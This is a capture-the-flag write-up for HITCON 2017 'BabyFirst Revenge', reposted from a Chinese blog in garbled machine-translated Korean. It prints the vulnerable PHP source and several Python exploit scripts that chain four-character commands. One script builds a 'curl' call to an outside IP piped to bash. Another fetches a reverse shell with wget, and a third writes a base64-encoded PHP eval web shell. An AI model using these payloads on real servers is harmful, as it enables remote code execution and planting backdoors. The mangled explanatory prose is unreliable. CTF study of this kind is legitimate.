HITCON2017 BabyFirst의 복수 (짧은 명령)

0x01로 소스

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

여기에 직접 방출 페이로드

import requests
from urllib import quote

payload = [
    # 将 "g> ht- sl" 写到文件 "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
    '>rev',
    '*v>x',

    # 生成命令 "curl orange.tw|python;"
    '>\;\\',
    '>sh\\', 
    '>ba\\', 
    '>\|\\',
    '>29\\',  
    '>1\\',
    '>0.\\', 
    '>13\\', 
    '>8.\\',
    '>16\\', 
    '>2.\\', 
    '>19\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # getshell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )


  • dir명령 및 여기에 사용 된 것처럼이 이유 dir때문이다 ls출력이 사전에 배치되고, 그것은 사용되는 dir첫 번째 행 (A) 내에
  • *명령은 현재 디렉토리가 수행하는 명령으로 파일이 봉합되어
    그림 삽입 설명 여기
    다음 해당 수행 dir 'g>' ht- rev sl이 문서의 출력은,
    그림 삽입 설명 여기
    실행 된 해당 아래 dir여기에있는 모든 파일의 출력 만하는 것은 일치하기 위해 실시 된 dir명령 파일을
    그림 삽입 설명 여기

우리가 실행 그래서 *>v,에 대한 v 파일의 내용 그래서 g> ht- sl
우리는 실행> 레브 레브 파일 이름을 생성
한 후, * V는 레브 V의 구현에 해당 실행 거꾸로 그 안에 같은 파일 내용을 V 및 제작 g> ht- sl받는 변경ls -th >g

  • 파일 이름이 수 없습니다 .내가 ubuntu18.04에있어,이 문제의 버전 일 수 있습니다, 시작이 가능합니다

  • 파일의 이름을 참고 반복 할 수 없다

  • 논리적으로, >ls\\\\의 이름을 생성하기 위해 ls\파일, I ubuntu18.04이 php7와 PHP5, 아파치가 성공을 재현하지 않지만 작성자 만 필요 이상으로 기록 \ 철저하게 이해하지 못했다, 오빠는 조언을 얻을하시기 바랍니다

당신은 다른 페이로드를 참조 할 수 있습니다

import requests

def exec_sub(cmd):
    resp = requests.post("http://52.199.204.34/?cmd="+cmd).text

def exec(cmd):
    for x in cmd:
        print(x)
        if cmd[-1]==x:
            exec_sub(">%s" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s" % x)          
        elif x==" ":
            exec_sub(">\\ \\")
            exec_sub("ls>>\\")
            exec_sub("rm ?\\")
        else:
            exec_sub(">%s\\" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s\\" % x)
    exec_sub("sh \\")

exec("wget 1759614952")

여기에 직접 IP 소수점을 대체 적발에
내가 재현 할 때, 나는 소수 wget과의 로컬 127.0.0.1, 127.0.0.1에 반등 쉘에 직접 쓰기하지만 데이터를 반환하지에 시간을 발견, 나는 다시 넣어 VPS에,이 꽤 그것이 얼마나 이해하지 또한, 반환 된 데이터에서 발견 된 큰 형님의 조언을 얻을 수 기쁘게 할 수 있습니다 ~

또한, 우리는 또한 단어에 직접 쓸 수 있습니다

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

그러나 우리는주의 할 필요가 우리가 다른 문자로 대체 공간에 해당해야합니다 있도록 두 개의 공백이 있다는 것입니다
그래서를 :

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 ‐d>1.php

유효 탑재량:

#!/usr/bin/python
# ‐*‐ coding: UTF‐8 ‐*‐

import requests

url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

또한이 문제는 또한 데이터베이스에서 데이터를 읽을 필요하지만이 파일에 결과를 저장, 어떤 방법 테이크 아웃을 사용하고 파일 데이터 콘텐츠에 액세스 얻을 수 있도록 데이터베이스, 에코하지 않습니다
그림 삽입 설명 여기
https://www.jianshu.com을 / P / 5aad993c793e
여기에 다른 방법의 수, 혜택을 소개합니다 ~~

게시 47 개 원래 기사 · 원 찬양 2 · 조회수 3122

추천

출처blog.csdn.net/a3320315/article/details/103942978